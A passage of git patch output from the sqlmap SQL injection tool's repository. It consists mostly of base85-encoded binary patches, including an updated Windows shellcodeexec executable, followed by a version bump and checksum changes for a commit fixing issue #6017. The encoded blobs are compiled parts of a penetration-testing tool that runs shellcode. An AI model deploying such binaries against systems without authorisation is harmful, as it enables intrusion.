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 diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ index b55141d1d936f7e295ebf573122c433ae1b2b246..515453c0e01edc33f96ae7889bc74a40897649d5 100644 GIT binary patch literal 2758 zcmV;%3OV&6-I;m%Ymu$_XSfsWuPk-EiCt=NTwxa9(A}Sis>BuUFYC z_W9gJ>HE`DN3TyfC8jsM-43J=u(&&&*VC6s5SR|gS7#}@NB#~Q_|Vbko3rOz>#d(e zLLK?5=lKFRoL}l8`}G66P4y{~d4e%XTU+4v0NFmKJ`c#`+}WVQ;b%|m^~u+g9kV&( zkiFCy2ll9DulcToTunA{F>$)g>07?cKto(9i5ktBH2;xZTIzz;5vhL0HO#LyT#r*W zy-7DHsh*gNKE70XUZ7Dp{n26+szrJ8jD&g!T~ z9jPaN)XKUlsmoiC{P1Y8#JgkAXc)vV$MD5I=l?z60#LxK|H>-kJj60kXl4FPrhN}P z2cb{43TrGGDah>~f}O{Z(erq3BjL-&jf&4sWkt}%**z}ss-NI$d`Al@DZJ|?NHJzi*rGa2- ziVDAUi!-+pS-v`x8ogBT0BE6Y}T)TM@e&kf;a&mZ95?M&c)vdAeiuZty!Z) z=qB%->%~ZSgl!n-tqpl7Mi#AnavscZQKG~*r{~k&LO8sCHvks!ONf?7M3N3=aQvTB zwkiD6=V%VlCoASJ0Oy`(;j^8??seK#A#yMt#y7)LWwQBxg%b)5GS8X)O<*i>#-2)BLujU%1@hUm<{m((c#iHX zVAgmKG9v&!^UyWONw(g(2u&LjDfSGzx$ ztK4)V+Q^U4OTDOId{!mMX-8w0@q6-3<}+$gLXXJfR$UYOnQIgL?R%tTL zmXfQca|pX9YobXx&2rnPgDTO2cF{aK3PbT57&dxBKX1_RE zt9b>Jf}h*hiJQ&zv=0|K!`P)SoR$WRn~GaVGMfy@!(Ol7t<{?lCIT|ma>Wq3T_LsI zmK!qzulY)#owjgz)>#BKMnO*F68TlRNNCKb4|x1qGC=n06G13znI4XY&kDhC!zd)i zmL`Fa;{A}%OKarWKTT0%uVV3+C&D^)#F~{JXp#c=rEzt4iWQ17gLixUY??i3y9p)o9n+*<65hv< zl{@N3cfX`$wu1j^LAu?f3uhG4jdvKBP-OUMNTz|-*+Pj5>^ytI_3ERr7%zv(z z4($muW%MG1cf5a+4%NX!2L0j9t_MAZ(}iowyBIBLFcy6T!zq3n}hQqVPYRO9v>v2}(qE{p3f{=!+AAmxtuKI^d` zTt)X*QZsuXWSciy4s~6&P2@x`!ihrUWjt@XxOKEO&t}Ahf)4d^xLR@bLb+?oN`!0^ ze3VO&t3)JPb@hfeJY`N&X zp@Vfr+NksrU(}ZAQ^Q}8eD{x>;Vpb7h>TFQ)ie;gkFu4cR3e%ucnGm`mF8gzl@i$q z^sDz-McZRjSg#zI|AEN@V%xyfG;xkTyf2W69)F%Og^2aG^G|9gZOp1<+$&j!go< zmuvcgUX^GhjO*CJXbw*X|Ipvoo>`J0FYUOks)P@DW8X}B)hX(OWlw=|Voh)QazHbT z!a&uQYc3}2MFdHMU?9^p8)&U*2}G9a(+hlmwuv{@K4AOlE@^6V_Du+Bm;x zpLB;h101#MqKAzdG5$#5Gy1cTK(1}$NE~iUN~q-nBDt~%be|K%UYM0c8A1ywnISD5u}INI4fZM_tw1Z zxvx>}iI!UU-~Eg-KALv_E%~Kk7QkLEb*W0&n~Dm`UgfQtA7j%#Wim65I&xaIO194x zC?zEfL5N7%I(bL23k$Tco!$}@x9L9g3cMO@TD(3mWn!bCu+fBJ9$3Yo@zQlDh1sN| MVB5E*d|p%ikmdDaEdT%j literal 2758 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 MVg2%pO&AW2hij8x+5i9m diff --git a/lib/core/settings.py b/lib/core/settings.py index 66b0303dee7..c8138a4df82 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.2.13" +VERSION = "1.10.2.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0b5eb377c058092b2f3cde3298173f2e7566158b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 17 Feb 2026 22:22:19 +0100 Subject: [PATCH 104/135] Fixes #6017 --- data/txt/sha256sums.txt | 6 +++--- lib/core/patch.py | 5 +++++ lib/core/settings.py | 2 +- lib/request/comparison.py | 17 ++++++++++++----- 4 files changed, 21 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 8386496dfb2..e8a381afe24 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -182,13 +182,13 @@ a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump. 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py 8d12a0acbc5e71a40fb19e65af49cd665b10aa313e1b81b336387edf8dd2f14b lib/core/option.py -9a213f91c8ad468466bd92e5e5805040f904055eb607fb2ed75b4c0e30b8accd lib/core/patch.py +d41ae6880991f6c9e921341bf3e1b4af84464753979eecf1d091df0afc26f008 lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -ecd2ed39ca4391c5ef3e6488539afff0a15d9aa51157a4e2df16b27d0aa577d9 lib/core/settings.py +d2a2e0a54e8d1edcb315c4ca72fe60f4988e7518717a064a045fa14fd1fdde92 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -210,7 +210,7 @@ d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payl 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py 1d5972aba14e4e340e3dde4f1d39a671020187fb759f435ba8b7f522dd4498fa lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py +09c2d8786fb5280f5f14a7b4345ecb2e7c2ca836ee06a6cf9b51770df923d94c lib/request/comparison.py f3a457675d7c2b85c7d5da5e336baf2782eaf0abbcb2ecdeb3c0e88d5bb60528 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py diff --git a/lib/core/patch.py b/lib/core/patch.py index 